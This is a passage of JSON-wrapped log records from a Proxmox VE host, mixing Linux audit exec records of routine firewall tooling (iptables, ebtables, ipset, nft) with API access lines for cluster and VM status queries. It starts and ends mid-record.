a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964941210,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964941.210:63302): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60736 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964186622,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:05 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964166009,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.009:59862): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175231,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.231:68756): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0c10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66030 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474118,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964565755,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.755:61559): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965618698,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965618.698:66385): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175231,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.231:68756): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964941199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964941.199:63300): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964184609,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964166004,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.004:59861): arch=c000003e syscall=59 success=yes exit=0 a0=5bf46a6c7e90 a1=5bf46a6c4c10 a2=5bf46a6a6680 a3=5 items=2 ppid=57480 pid=57486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175225,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.225:68755): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ab60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474118,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:33 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 515"} {"@timestamp":1781964565752,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.752:61558): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965618697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965618.697:66384): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63760 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175225,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.225:68755): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964941199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964941.199:63299): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60735 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964183588,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:03:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781964166000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.000:59860): arch=c000003e syscall=59 success=yes exit=0 a0=5bf44ac45ac8 a1=7ffdf30324f0 a2=5bf46a6a6680 a3=5bf44ac2924e items=2 ppid=57480 pid=57482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175219,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.219:68754): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ad9530 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965474118,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:32 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1077"} {"@timestamp":1781964565751,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.751:61557): argc=1 a0=\"date\""} {"@timestamp":1781965618690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965618.690:66382): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175219,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.219:68754): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964936190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964936.190:63294): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964180672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964166000,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964166.000:59859): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdf30324b0 a1=5bf46a6ad310 a2=5bf46a6a6680 a3=5 items=2 ppid=57480 pid=57481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175212,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.212:68753): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965472712,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 902"} {"@timestamp":1781964565747,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.747:61555): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965618690,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965618.690:66381): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63759 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175212,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.212:68753): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964936190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964936.190:63293): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60729 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964180672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 837"} {"@timestamp":1781964165996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964165.996:59857): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=57480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175205,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.205:68752): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965472712,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964565741,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.741:61554): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966175205,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.205:68752): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964936179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964936.179:63291): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615546,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.546:66377): arch=c000003e syscall=59 success=no exit=-2 a0=7ffeeb1f2d20 a1=5b690ed06310 a2=5b690ecff680 a3=5 items=1 ppid=63751 pid=63752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964179658,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781964165990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964165.990:59856): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175200,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.200:68751): arch=c000003e syscall=59 success=yes exit=0 a0=6548a2172d70 a1=6548a217eb70 a2=6548a214c680 a3=5 items=2 ppid=66019 pid=66025 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965472712,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964565735,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.735:61553): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966175200,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.200:68751): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964936179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964936.179:63290): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965615414,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965615.414:66359): arch=c000003e syscall=59 success=no exit=-2 a0=7fffe05c0670 a1=5bc722c64180 a2=5bc722c42680 a3=5 items=1 ppid=63732 pid=63733 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964176649,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781964165983,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964165.983:59855): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175197,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.197:68750): arch=c000003e syscall=59 success=yes exit=0 a0=654866012ac8 a1=7ffccd85cb80 a2=6548a214c680 a3=654865ff624e items=2 ppid=66019 pid=66021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965470693,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 516"} {"@timestamp":1781964565730,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.730:61552): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966175197,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.197:68750): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964935696,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.696:63286): arch=c000003e syscall=59 success=no exit=-2 a0=7fff86478160 a1=5838e172b1c0 a2=5838e1709680 a3=5 items=1 ppid=60721 pid=60722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965613.683:66349): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964175612,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781964165977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964165.977:59854): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b5830 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175196,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.196:68749): arch=c000003e syscall=59 success=yes exit=0 a0=7ffccd85cb40 a1=6548a216e410 a2=6548a214c680 a3=5 items=2 ppid=66019 pid=66020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965470693,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1077"} {"@timestamp":1781964565724,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.724:61551): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966175196,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.196:68749): argc=1 a0=\"date\""} {"@timestamp":1781964935608,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964935.608:63268): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd83edcc00 a1=5b34af4c6310 a2=5b34af4bf680 a3=5 items=1 ppid=60702 pid=60703 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613683,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965613.683:66348): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63722 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964174617,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781964165971,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964165.971:59853): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dec10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57476 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.192:68747): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965470693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 926"} {"@timestamp":1781964565717,"@rawstring":"node=pve type=EXECVE msg=audit(1781964565.717:61550): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966175192,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.192:68747): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964931175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964931.175:63258): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965613.676:66346): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964172597,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1095"} {"@timestamp":1781964165964,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964165.964:59852): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139520 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57475 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175184,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.184:68746): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965470693,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964564861,"@rawstring":"node=pve type=EXECVE msg=audit(1781964564.861:61549): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175184,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.184:68746): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964931175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964931.175:63257): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60692 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965613676,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965613.676:66345): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63721 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964171619,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964164641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964164.641:59851): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73c62f0 a1=64f8d73df2a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966175.177:68745): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965467973,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:27 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 923"} {"@timestamp":1781964564854,"@rawstring":"node=pve type=EXECVE msg=audit(1781964564.854:61546): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966175177,"@rawstring":"node=pve type=EXECVE msg=audit(1781966175.177:68745): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964931169,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964931.169:63255): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60691 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" 